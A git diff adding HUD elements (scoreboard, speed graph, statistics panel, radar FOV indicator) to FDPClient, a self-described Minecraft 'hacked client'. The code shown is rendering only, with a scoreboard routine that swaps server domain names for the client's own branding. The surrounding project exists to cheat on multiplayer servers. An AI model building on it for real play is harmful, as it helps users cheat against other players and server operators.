GL11.glDisable(GL11.GL_BLEND) + GL11.glDisable(GL11.GL_LINE_SMOOTH) + + GL11.glDisable(GL11.GL_SCISSOR_TEST) + + GL11.glPopMatrix() + + RainbowShader.begin(borderRainbowValue.get(), if (rainbowXValue.get() == 0.0F) 0.0F else 1.0F / rainbowXValue.get(), + if (rainbowYValue.get() == 0.0F) 0.0F else 1.0F / rainbowYValue.get(), System.currentTimeMillis() % 10000 / 10000F).use { + RenderUtils.drawBorder(0F, 0F, size, size, borderStrengthValue.get(), Color(borderRedValue.get(), + borderGreenValue.get(), borderBlueValue.get(), borderAlphaValue.get()).rgb) + + GL11.glEnable(GL11.GL_BLEND) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + GL11.glEnable(GL11.GL_LINE_SMOOTH) + + RenderUtils.glColor(borderRedValue.get(), borderGreenValue.get(), borderBlueValue.get(), borderAlphaValue.get()) + GL11.glLineWidth(borderStrengthValue.get()) + + GL11.glBegin(GL11.GL_LINES) + + GL11.glVertex2f(halfSize, 0f) + GL11.glVertex2f(halfSize, size) + + GL11.glVertex2f(0f, halfSize) + GL11.glVertex2f(size, halfSize) + + GL11.glEnd() + + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glDisable(GL11.GL_BLEND) + GL11.glDisable(GL11.GL_LINE_SMOOTH) + } + + GL11.glColor4f(1.0f, 1.0f, 1.0f, 1.0f) + + return Border(0F, 0F, size, size) + } + + private fun createFovIndicator(angle: Float): VertexBuffer { + // Rendering + val worldRenderer = Tessellator.getInstance().worldRenderer + + worldRenderer.begin(GL11.GL_TRIANGLE_FAN, DefaultVertexFormats.POSITION) + + val start = (90.0f - (angle * 0.5f)) / 180.0f * Math.PI.toFloat() + val end = (90.0f + (angle * 0.5f)) / 180.0f * Math.PI.toFloat() + + var curr = end + val radius = 1.0 + + worldRenderer.pos(0.0, 0.0, 0.0).endVertex() + + while (curr >= start) { + worldRenderer.pos(cos(curr) * radius, sin(curr) * radius, 0.0).endVertex() + + curr -= 0.15f + } + + // Uploading to VBO + + val safeVertexBuffer = SafeVertexBuffer(worldRenderer.vertexFormat) + + worldRenderer.finishDrawing() + worldRenderer.reset() + safeVertexBuffer.bufferData(worldRenderer.byteBuffer) + + return safeVertexBuffer + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/ScoreboardElement.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/ScoreboardElement.kt new file mode 100644 index 0000000..8362750 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/ScoreboardElement.kt @@ -0,0 +1,239 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import com.google.common.collect.Iterables +import com.google.common.collect.Lists +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.Side +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.ShadowUtils +import net.ccbluex.liquidbounce.utils.render.shadowRenderUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FontValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.minecraft.client.gui.Gui +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.scoreboard.ScoreObjective +import net.minecraft.scoreboard.ScorePlayerTeam +import net.minecraft.scoreboard.Scoreboard +import net.minecraft.util.EnumChatFormatting +import java.awt.Color +import org.lwjgl.opengl.GL11 + +/** + * CustomHUD scoreboard + * + * Allows to move and customize minecraft scoreboard + */ +@ElementInfo(name = "Scoreboard", blur = true) +class ScoreboardElement( + x: Double = 5.0, + y: Double = 0.0, + scale: Float = 1F, + side: Side = Side(Side.Horizontal.RIGHT, Side.Vertical.MIDDLE) +) : Element(x, y, scale, side) { + + private val textRedValue = IntegerValue("Text-R", 255, 0, 255) + private val textGreenValue = IntegerValue("Text-G", 255, 0, 255) + private val textBlueValue = IntegerValue("Text-B", 255, 0, 255) + + private val backgroundColorRedValue = IntegerValue("Background-R", 0, 0, 255) + private val backgroundColorGreenValue = IntegerValue("Background-G", 0, 0, 255) + private val backgroundColorBlueValue = IntegerValue("Background-B", 0, 0, 255) + private val backgroundColorAlphaValue = IntegerValue("Background-Alpha", 0, 0, 255) + + private val rectValue = BoolValue("Rect", false) + private val rectColorModeValue = ListValue("Rect-Color", arrayOf("Custom", "Rainbow"), "Custom") + private val rectColorRedValue = IntegerValue("Rect-R", 0, 0, 255) + private val rectColorGreenValue = IntegerValue("Rect-G", 111, 0, 255) + private val rectColorBlueValue = IntegerValue("Rect-B", 255, 0, 255) + private val rectColorBlueAlpha = IntegerValue("Rect-Alpha", 255, 0, 255) + + private val rainbowBarValue = BoolValue("RainbowBar", false) + private val shadowValue = BoolValue("ShadowText", false) + private val serverValue = ListValue("ServerIp", arrayOf("None", "ClientName", "Website"), "ClientName") + private val noPointValue = BoolValue("NoPoints", true) + private val fontValue = FontValue("Font", Fonts.minecraftFont) + + + private val shadowShaderValue = BoolValue("Shadow", false) + private val shadowStrength = FloatValue("Shadow-Strength", 0F, 0F, 30F) + private val shadowColorMode = ListValue("Shadow-Color", arrayOf("Background", "Custom"), "Background") + private val shadowColorRedValue = IntegerValue("Shadow-Red", 0, 0, 255) + private val shadowColorGreenValue = IntegerValue("Shadow-Green", 111, 0, 255) + private val shadowColorBlueValue = IntegerValue("Shadow-Blue", 255, 0, 255) + + private val allowedDomains = arrayOf(".ac", ".academy", ".accountant", ".accountants", ".actor", ".adult", ".ag", ".agency", ".ai", ".airforce", ".am", ".amsterdam", ".apartments", ".app", ".archi", ".army", ".art", ".asia", ".associates", ".at", ".attorney", ".au", ".auction", ".auto", ".autos", ".baby", ".band", ".bar", ".barcelona", ".bargains", ".bayern", ".be", ".beauty", ".beer", ".berlin", ".best", ".bet", ".bid", ".bike", ".bingo", ".bio", ".biz", ".biz.pl", ".black", ".blog", ".blue", ".boats", ".boston", ".boutique", ".build", ".builders", ".business", ".buzz", ".bz", ".ca", ".cab", ".cafe", ".camera", ".camp", ".capital", ".car", ".cards", ".care", ".careers", ".cars", ".casa", ".cash", ".casino", ".catering", ".cc", ".center", ".ceo", ".ch", ".charity", ".chat", ".cheap", ".church", ".city", ".cl", ".claims", ".cleaning", ".clinic", ".clothing", ".cloud", ".club", ".logo", ".co", ".co.in", ".co.jp", ".co.kr", ".co.nz", ".co.uk", ".co.za", ".coach", ".codes", ".coffee", ".college", ".com", ".com.ag", ".com.au", ".com.br", ".com.bz", ".com.logo", ".com.co", ".com.es", ".com.mx", ".com.pe", ".com.ph", ".com.pl", ".com.ru", ".com.tw", ".community", ".company", ".computer", ".condos", ".construction", ".consulting", ".contact", ".contractors", ".cooking", ".cool", ".country", ".coupons", ".courses", ".credit", ".creditcard", ".cricket", ".cruises", ".cymru", ".cz", ".dance", ".date", ".dating", ".de", ".deals", ".degree", ".delivery", ".democrat", ".dental", ".dentist", ".design", ".dev", ".diamonds", ".digital", ".direct", ".directory", ".discount", ".dk", ".doctor", ".dog", ".domains", ".download", ".earth", ".education", ".email", ".energy", ".engineer", ".engineering", ".enterprises", ".equipment", ".es", ".estate", ".eu", ".events", ".exchange", ".expert", ".exposed", ".express", ".fail", ".faith", ".family", ".fan", ".fans", ".farm", ".fashion", ".film", ".finance", ".financial", ".firm.in", ".fish", ".fishing", ".fit", ".fitness", ".flights", ".florist", ".fm", ".football", ".forsale", ".foundation", ".fr", ".fun", ".fund", ".furniture", ".futbol", ".fyi", ".gallery", ".games", ".garden", ".gay", ".gen.in", ".gg", ".gifts", ".gives", ".glass", ".global", ".gmbh", ".gold", ".golf", ".graphics", ".gratis", ".green", ".gripe", ".group", ".gs", ".guide", ".guru", ".hair", ".haus", ".health", ".healthcare", ".hockey", ".holdings", ".holiday", ".homes", ".horse", ".hospital", ".host", ".house", ".idv.tw", ".immo", ".immobilien", ".in", ".inc", ".ind.in", ".industries", ".info", ".info.pl", ".ink", ".institute", ".insure", ".international", ".investments", ".io", ".irish", ".ist", ".istanbul", ".it", ".jetzt", ".jewelry", ".jobs", ".jp", ".kaufen", ".kim", ".kitchen", ".kiwi", ".kr", ".la", ".land", ".law", ".lawyer", ".lease", ".legal", ".lgbt", ".life", ".lighting", ".limited", ".limo", ".live", ".llc", ".loan", ".loans", ".london", ".love", ".ltd", ".ltda", ".luxury", ".maison", ".makeup", ".management", ".market", ".marketing", ".mba", ".me", ".me.uk", ".media", ".melbourne", ".memorial", ".men", ".menu", ".miami", ".mobi", ".moda", ".moe", ".money", ".monster", ".mortgage", ".motorcycles", ".movie", ".ms", ".mx", ".nagoya", ".name", ".navy", ".ne.kr", ".net", ".net.ag", ".net.au", ".net.br", ".net.bz", ".net.logo", ".net.co", ".net.in", ".net.nz", ".net.pe", ".net.ph", ".net.pl", ".net.ru", ".network", ".news", ".ninja", ".nl", ".no", ".nom.co", ".nom.es", ".nom.pe", ".nrw", ".nyc", ".okinawa", ".one", ".onl", ".online", ".org", ".org.ag", ".org.au", ".org.logo", ".org.es", ".org.in", ".org.nz", ".org.pe", ".org.ph", ".org.pl", ".org.ru", ".org.uk", ".page", ".paris", ".partners", ".parts", ".party", ".pe", ".pet", ".ph", ".photography", ".photos", ".pictures", ".pink", ".pizza", ".pl", ".place", ".plumbing", ".plus", ".poker", ".porn", ".press", ".pro", ".productions", ".promo", ".properties", ".protection", ".pub", ".pw", ".quebec", ".quest", ".racing", ".re.kr", ".realestate", ".recipes", ".red", ".rehab", ".reise", ".reisen", ".rent", ".rentals", ".repair", ".report", ".republican", ".rest", ".restaurant", ".review", ".reviews", ".rich", ".rip", ".rocks", ".rodeo", ".ru", ".run", ".ryukyu", ".sale", ".salon", ".sarl", ".school", ".schule", ".science", ".se", ".security", ".services", ".sex", ".sg", ".sh", ".shiksha", ".shoes", ".shop", ".shopping", ".show", ".singles", ".site", ".ski", ".skin", ".soccer", ".social", ".software", ".solar", ".solutions", ".space", ".storage", ".store", ".stream", ".studio", ".study", ".style", ".supplies", ".supply", ".support", ".surf", ".surgery", ".sydney", ".systems", ".tax", ".taxi", ".team", ".tech", ".technology", ".tel", ".tennis", ".theater", ".theatre", ".tienda", ".tips", ".tires", ".today", ".tokyo", ".tools", ".tours", ".town", ".toys", ".top", ".trade", ".training", ".travel", ".tube", ".tv", ".tw", ".uk", ".university", ".uno", ".us", ".vacations", ".vegas", ".ventures", ".vet", ".viajes", ".video", ".villas", ".vin", ".vip", ".vision", ".vodka", ".vote", ".voto", ".voyage", ".wales", ".watch", ".webcam", ".website", ".wedding", ".wiki", ".win", ".wine", ".work", ".works", ".world", ".ws", ".wtf", ".xxx", ".xyz", ".yachts", ".yoga", ".yokohama", ".zone") + + /** + * Draw element + */ + override fun drawElement(partialTicks: Float): Border? { + val fontRenderer = fontValue.get() + val textColor = textColor().rgb + val backColor = backgroundColor().rgb + + val rectColorMode = rectColorModeValue.get() + val rectCustomColor = Color(rectColorRedValue.get(), rectColorGreenValue.get(), rectColorBlueValue.get(), + rectColorBlueAlpha.get()).rgb + + val worldScoreboard: Scoreboard = mc.theWorld.scoreboard + var currObjective: ScoreObjective? = null + val playerTeam = worldScoreboard.getPlayersTeam(mc.thePlayer.name) + + if (playerTeam != null) { + val colorIndex = playerTeam.chatFormat.colorIndex + + if (colorIndex >= 0) { + currObjective = worldScoreboard.getObjectiveInDisplaySlot(3 + colorIndex) + } + } + + val objective = currObjective ?: worldScoreboard.getObjectiveInDisplaySlot(1) ?: return null + + val scoreboard: Scoreboard = objective.scoreboard + var scoreCollection = scoreboard.getSortedScores(objective) + val scores = Lists.newArrayList(Iterables.filter(scoreCollection) { input -> + input?.playerName != null && !input.playerName.startsWith("#") + }) + + scoreCollection = if (scores.size > 15) { + Lists.newArrayList(Iterables.skip(scores, scoreCollection.size - 15)) + } else { + scores + } + + var maxWidth = fontRenderer.getStringWidth(objective.displayName) + + for (score in scoreCollection) { + val scorePlayerTeam = scoreboard.getPlayersTeam(score.playerName) + val width = "${ScorePlayerTeam.formatPlayerName(scorePlayerTeam, score.playerName)}: ${EnumChatFormatting.RED}${score.scorePoints}" + maxWidth = maxWidth.coerceAtLeast(fontRenderer.getStringWidth(width)) + } + + val maxHeight = scoreCollection.size * fontRenderer.FONT_HEIGHT + val l1 = -maxWidth - 3 - if (rectValue.get()) 3 else 0 + + if(rainbowBarValue.get()) { + Gui.drawRect(l1 - 7, -6, 9, - 5, ColorUtils.rainbow().rgb) + } + // draw main rect? + Gui.drawRect(l1 - 7, -5, 9, maxHeight + fontRenderer.FONT_HEIGHT + 5, backColor) + + + + shadowRenderUtils.drawShadowWithCustomAlpha(l1 - 7f, -5f, -l1+16f, maxHeight + fontRenderer.FONT_HEIGHT + 10f, 255f) + scoreCollection.forEachIndexed { index, score -> + val team = scoreboard.getPlayersTeam(score.playerName) + + var name = ScorePlayerTeam.formatPlayerName(team, score.playerName) + val scorePoints = "${EnumChatFormatting.RED}${score.scorePoints}" + + val width = 5 - if (rectValue.get()) 4 else 0 + val height = maxHeight - index * fontRenderer.FONT_HEIGHT + GlStateManager.resetColor() + + var listColor = textColor + if (!serverValue.equals("none")) { + for (domain in allowedDomains) { + if (name.contains(domain, true)) { + name = when (serverValue.get().lowercase()) { + "clientname" -> FDPClient.COLORED_NAME + "website" -> FDPClient.CLIENT_WEBSITE + else -> "null" + } + listColor = ColorUtils.rainbow().rgb + break + } + } + } + + fontRenderer.drawString(name, l1.toFloat(), height.toFloat(), listColor, shadowValue.get()) + if (!noPointValue.get()) { + fontRenderer.drawString( + scorePoints, + (width - fontRenderer.getStringWidth(scorePoints)).toFloat(), + height.toFloat(), + textColor, + shadowValue.get() + ) + } + + if (index == scoreCollection.size - 1) { + val displayName = objective.displayName + + GlStateManager.resetColor() + + fontRenderer.drawString(displayName, (l1 + maxWidth / 2 - fontRenderer.getStringWidth(displayName) / 2).toFloat(), (height - + fontRenderer.FONT_HEIGHT).toFloat(), textColor, shadowValue.get()) + } + + // shadow + if (shadowShaderValue.get()) { + GL11.glTranslated(-renderX, -renderY, 0.0) + GL11.glScalef(1F, 1F, 1F) + GL11.glPushMatrix() + ShadowUtils.shadow(shadowStrength.get(), { + GL11.glPushMatrix() + GL11.glTranslated(renderX, renderY, 0.0) + GL11.glScalef(scale, scale, scale) + RenderUtils.newDrawRect( + l1.toFloat() + if (side.horizontal == Side.Horizontal.LEFT) 2F else -2F, -2F, + if (side.horizontal == Side.Horizontal.LEFT) -5F else 5F, + (maxHeight + fontRenderer.FONT_HEIGHT).toFloat(), + if (shadowColorMode.get().equals("background", true)) + Color(backgroundColorRedValue.get(), backgroundColorGreenValue.get(), backgroundColorBlueValue.get()).rgb + else + Color(shadowColorRedValue.get(), shadowColorGreenValue.get(), shadowColorBlueValue.get()).rgb) + GL11.glPopMatrix() + }, { + GL11.glPushMatrix() + GL11.glTranslated(renderX, renderY, 0.0) + GL11.glScalef(scale, scale, scale) + GlStateManager.enableBlend() + GlStateManager.disableTexture2D() + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0) + RenderUtils.quickDrawRect( + l1.toFloat() + if (side.horizontal == Side.Horizontal.LEFT) 2F else -2F, 2f, + if (side.horizontal == Side.Horizontal.LEFT) -5F else 5F, + (maxHeight + fontRenderer.FONT_HEIGHT).toFloat()) + GlStateManager.enableTexture2D() + GlStateManager.disableBlend() + GL11.glPopMatrix() + }) + GL11.glPopMatrix() + GL11.glScalef(scale, scale, scale) + GL11.glTranslated(renderX, renderY, 0.0) + } + + + if (rectValue.get()) { + val rectColor = when { + rectColorMode.equals("Rainbow", ignoreCase = true) -> ColorUtils.rainbow(index).rgb + else -> rectCustomColor + } + + RenderUtils.drawRect(2F, if (index == scoreCollection.size - 1) -2F else height.toFloat(), 5F, if (index == 0) fontRenderer.FONT_HEIGHT.toFloat() else height.toFloat() + fontRenderer.FONT_HEIGHT * 2F, rectColor) + } + } + + return Border(-maxWidth.toFloat() - 10f - if (rectValue.get()) 3 else 0, -5F, 9F, maxHeight.toFloat() + fontRenderer.FONT_HEIGHT + 5) + } + + private fun backgroundColor() = Color(backgroundColorRedValue.get(), backgroundColorGreenValue.get(), + backgroundColorBlueValue.get(), backgroundColorAlphaValue.get()) + + private fun textColor() = Color(textRedValue.get(), textGreenValue.get(), + textBlueValue.get()) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/SpeedGraph.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/SpeedGraph.kt new file mode 100644 index 0000000..0b76cee --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/SpeedGraph.kt @@ -0,0 +1,126 @@ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.Side +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.client.renderer.GlStateManager +import org.lwjgl.opengl.GL11 +import kotlin.math.sqrt + +/** + * CustomHUD text element + * + * Allows to draw custom text + */ +@ElementInfo(name = "SpeedGraph", blur = true) +class SpeedGraph( + x: Double = 75.0, + y: Double = 110.0, + scale: Float = 1F, + side: Side = Side(Side.Horizontal.MIDDLE, Side.Vertical.DOWN) +) : Element(x, y, scale, side) { + + private val yMultiplier = FloatValue("yMultiplier", 7F, 1F, 20F) + private val height = IntegerValue("Height", 50, 30, 150) + private val width = IntegerValue("Width", 150, 100, 300) + private val thickness = FloatValue("Thickness", 2F, 1F, 3F) + private val smoothness = FloatValue("Smoothness", 0.5F, 0F, 1F) + private val colorRedValue = IntegerValue("R", 0, 0, 255) + private val colorGreenValue = IntegerValue("G", 111, 0, 255) + private val colorBlueValue = IntegerValue("B", 255, 0, 255) + private val bgRedValue = IntegerValue("BGRed", 0, 0, 255) + private val bgGreenValue = IntegerValue("BGGreen", 0, 0, 255) + private val bgBlueValue = IntegerValue("BGBlue", 0, 0, 255) + private val bgAlphaValue = IntegerValue("BGAlpha", 150, 0, 255) + private val bdRedValue = IntegerValue("BDRed", 255, 0, 255) + private val bdGreenValue = IntegerValue("BDGreen", 255, 0, 255) + private val bdBlueValue = IntegerValue("BDBlue", 255, 0, 255) + private val boarderValue = BoolValue("Boarder", false) + private val currentLineValue = BoolValue("CurrentLine", false) + private val clRedValue = IntegerValue("CLRed", 0, 0, 255) + private val clGreenValue = IntegerValue("CLGreen", 255, 0, 255) + private val clBlueValue = IntegerValue("CLBlue", 0, 0, 255) + + private val speedList = ArrayList<Double>() + private var lastTick = -1 + private var lastSpeed = 0.01 + + override fun drawElement(partialTicks: Float): Border { + val width = width.get() + if (lastTick != mc.thePlayer.ticksExisted) { + lastTick = mc.thePlayer.ticksExisted + val z2 = mc.thePlayer.posZ + val z1 = mc.thePlayer.prevPosZ + val x2 = mc.thePlayer.posX + val x1 = mc.thePlayer.prevPosX + var speed = sqrt((z2 - z1) * (z2 - z1) + (x2 - x1) * (x2 - x1)) + if (speed < 0) { + speed = -speed + } + speed = (lastSpeed * 0.9 + speed * 0.1) * smoothness.get() + speed * (1 - smoothness.get()) + lastSpeed = speed + speedList.add(speed) + while (speedList.size > width) { + speedList.removeAt(0) + } + } + + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + GL11.glEnable(GL11.GL_BLEND) + GL11.glEnable(GL11.GL_LINE_SMOOTH) + GL11.glLineWidth(thickness.get()) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glDisable(GL11.GL_DEPTH_TEST) + GL11.glDepthMask(false) + + RenderUtils.glColor(bgRedValue.get(), bgGreenValue.get(), bgBlueValue.get(), bgAlphaValue.get()) + RenderUtils.quickDrawRect(0f, 0f, width.toFloat(), height.get() + 2f) + + GL11.glBegin(GL11.GL_LINES) + val size = speedList.size + RenderUtils.glColor(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get(), 255) + val start = (if (size > width) size - width else 0) + for (i in start until size - 1) { + val y = speedList[i] * 10 * yMultiplier.get() + val y1 = speedList[i + 1] * 10 * yMultiplier.get() + + GL11.glVertex2d(i.toDouble() - start, height.get() + 1 - y.coerceAtMost(height.get().toDouble())) + GL11.glVertex2d(i + 1.0 - start, height.get() + 1 - y1.coerceAtMost(height.get().toDouble())) + } + GL11.glEnd() + + if (currentLineValue.get()) { + val y = (speedList.lastOrNull() ?: 0.0) * 10 * yMultiplier.get() + RenderUtils.glColor(clRedValue.get(), clGreenValue.get(), clBlueValue.get(), 255) + GL11.glBegin(GL11.GL_LINES) + GL11.glVertex2d(0.0, height.get() + 1 - y.coerceAtMost(height.get().toDouble())) + GL11.glVertex2d(width.toDouble(), height.get() + 1 - y.coerceAtMost(height.get().toDouble())) + GL11.glEnd() + } + + if (boarderValue.get()) { + RenderUtils.glColor(bdRedValue.get(), bdGreenValue.get(), bdBlueValue.get(), 255) + GL11.glBegin(GL11.GL_LINE_STRIP) + GL11.glVertex2d(0.0, 0.0) + GL11.glVertex2d(width.toDouble(), 0.0) + GL11.glVertex2d(width.toDouble(), height.get().toDouble() + 2) + GL11.glVertex2d(0.0, height.get().toDouble() + 2) + GL11.glVertex2d(0.0, 0.0) + GL11.glEnd() + } + + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glDisable(GL11.GL_LINE_SMOOTH) + GL11.glEnable(GL11.GL_DEPTH_TEST) + GL11.glDepthMask(true) + GL11.glDisable(GL11.GL_BLEND) + GlStateManager.resetColor() + + return Border(0F, 0F, width.toFloat(), height.get().toFloat() + 2) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Statistics.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Statistics.kt new file mode 100644 index 0000000..c37ec2c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Statistics.kt @@ -0,0 +1,181 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import net.ccbluex.liquidbounce.font.FontLoaders +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.Side +import net.ccbluex.liquidbounce.utils.SessionUtils +import net.ccbluex.liquidbounce.utils.StatisticsUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.ui.font.Fonts +import org.lwjgl.opengl.GL11 +import java.awt.Color + +@ElementInfo(name = "Statistics", blur = true) +class Statistics( + x: Double = 3.39, + y: Double = 24.48, + scale: Float = 1F, + side: Side = Side.default() +) : Element(x, y, scale, side) { + private val mode = ListValue("Mode", arrayOf("CrossSine", "FDP", "Moon"), "FDP") + + private val rectR = IntegerValue("Rect-R", 0, 0, 255) + private val rectG = IntegerValue("Rect-G", 0, 0, 255) + private val rectB = IntegerValue("Rect-B", 0, 0, 255) + private val rectAlpha = IntegerValue("RectAlpha", 150, 0, 255) + private val rectShadow = BoolValue("RectShadow", false) + + private val textR = IntegerValue("Label-R", 255, 0, 255) + private val textG = IntegerValue("Label-G", 255, 0, 255) + private val textB = IntegerValue("Label-B", 255, 0, 255) + private val textAlpha = IntegerValue("LabelAlpha", 200, 0, 255) + + private val infoR = IntegerValue("Info-R", 200, 0, 255) + private val infoG = IntegerValue("Info-G", 200, 0, 255) + private val infoB = IntegerValue("Info-B", 200, 0, 255) + private val infoAlpha = IntegerValue("InfoAlpha", 180, 0, 255) + + + override fun drawElement(partialTicks: Float): Border { + if (mode.equals("FDP")) { + val height = FontLoaders.F22.getStringHeight("Statistics") + 14.0f + + 41.0F + + if (rectShadow.get()) { + RenderUtils.drawShadow(0f, 0f, 140f, height) + RenderUtils.drawShadow(-1f, -1f, 141f, height + 1f) + RenderUtils.drawRect( + 0f, + 0f, + 140f, + height, + Color(rectR.get(), rectG.get(), rectB.get(), rectAlpha.get()).rgb + ) + } else { + RenderUtils.drawRoundedCornerRect( + 0f, + 0f, + 140f, + height, + 5f, + Color(rectR.get(), rectG.get(), rectB.get(), rectAlpha.get()).rgb + ) + } + + FontLoaders.F22.drawCenteredString( + "Statistics", + (140f / 2f).toDouble(), + 5.0, + Color(textR.get(), textG.get(), textB.get(), textAlpha.get()).rgb + ) + RenderUtils.drawLine( + 0f.toDouble(), + FontLoaders.F22.getStringHeight("Statistics") + 7.0f.toDouble(), + 140f.toDouble(), + FontLoaders.F22.getStringHeight("Statistics") + 7.0f.toDouble(), + 0.4f + ) + + GL11.glPushMatrix() + GL11.glTranslated(0.0, FontLoaders.F22.getStringHeight("Statistics") + 14.0f.toDouble(), 0.0) + + // Player name + FontLoaders.C16.drawString( + "Player Name", + 5.0F, + 0.0F, + Color(textR.get(), textG.get(), textB.get(), textAlpha.get()).rgb + ) + FontLoaders.C16.drawString( + mc.thePlayer.name, + 135F - FontLoaders.C16.getStringWidth(mc.thePlayer.name), + 0.0f, + Color(infoR.get(), infoG.get(), infoB.get(), infoAlpha.get()).rgb + ) + + // Play time + FontLoaders.C16.drawString( + "Play Time", + 5.0F, + 10.0F, + Color(textR.get(), textG.get(), textB.get(), textAlpha.get()).rgb + ) + if (!mc.isSingleplayer) FontLoaders.C16.drawString( + SessionUtils.getFormatSessionTime(), + 135F - FontLoaders.C16.getStringWidth(SessionUtils.getFormatSessionTime()), + 10.0f, + Color(infoR.get(), infoG.get(), infoB.get(), infoAlpha.get()).rgb + ) + else FontLoaders.C16.drawString( + "Singleplayer", + 135F - FontLoaders.C16.getStringWidth("Singleplayer"), + 10.0f, + Color(textR.get(), textG.get(), textB.get(), textAlpha.get()).rgb + ) + + + // Kills + FontLoaders.C16.drawString( + "Kills", + 5.0F, + 20.0F, + Color(textR.get(), textG.get(), textB.get(), textAlpha.get()).rgb + ) + FontLoaders.C16.drawString( + StatisticsUtils.getKills().toString(), + 135F - FontLoaders.C16.getStringWidth(StatisticsUtils.getKills().toString()), + 20.0f, + Color(infoR.get(), infoG.get(), infoB.get(), infoAlpha.get()).rgb + ) + + // Deaths + FontLoaders.C16.drawString( + "Deaths", + 5.0F, + 30.0F, + Color(textR.get(), textG.get(), textB.get(), textAlpha.get()).rgb + ) + FontLoaders.C16.drawString( + StatisticsUtils.getDeaths().toString(), + 135F - FontLoaders.C16.getStringWidth(StatisticsUtils.getDeaths().toString()), + 30.0f, + Color(infoR.get(), infoG.get(), infoB.get(), infoAlpha.get()).rgb + ) + GL11.glPopMatrix() + + return Border(0f, 0f, 140f, height) + } + if (mode.equals("Moon")) { + val font = mc.fontRendererObj + //bg + RenderUtils.drawRoundedRect(0F, 0F, 120F, 120F, 10F,Color(0,0,0,100).rgb, 2.5F, + Color(0, 0, 0, 100).rgb) + font.drawStringWithShadow("Session Information",60f,5f,Color.WHITE.rgb) + return Border(0f,0f,60f,70f) + } else { + RenderUtils.drawRoundedRect(0F, 0F, 180F, 50F, 10F,Color(0,0,0,100).rgb, 2.5F, + Color(255, 100, 255, 255).rgb ) + Fonts.fontTenacityBold40.drawCenteredString("Session Stats", 90F, 5F, Color(255, 255, 255).rgb, true) + Fonts.fontTenacity35.drawString("Kill: " + StatisticsUtils.getKills(), 5F, 20F, Color.WHITE.rgb, true) + Fonts.fontTenacity35.drawString( + "Session Time: " + SessionUtils.getFormatSessionTime(), + 5F, + 29F, + Color.WHITE.rgb, + true + ) + Fonts.fontTenacity35.drawString("Username: " + mc.thePlayer.name, 5F, 38F, Color.WHITE.rgb, true) + return Border(0f, 0f, 180f, 50F) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/TabGUI.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/TabGUI.kt new file mode 100644 index 0000000..e54c5c2 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/TabGUI.kt @@ -0,0 +1,322 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import 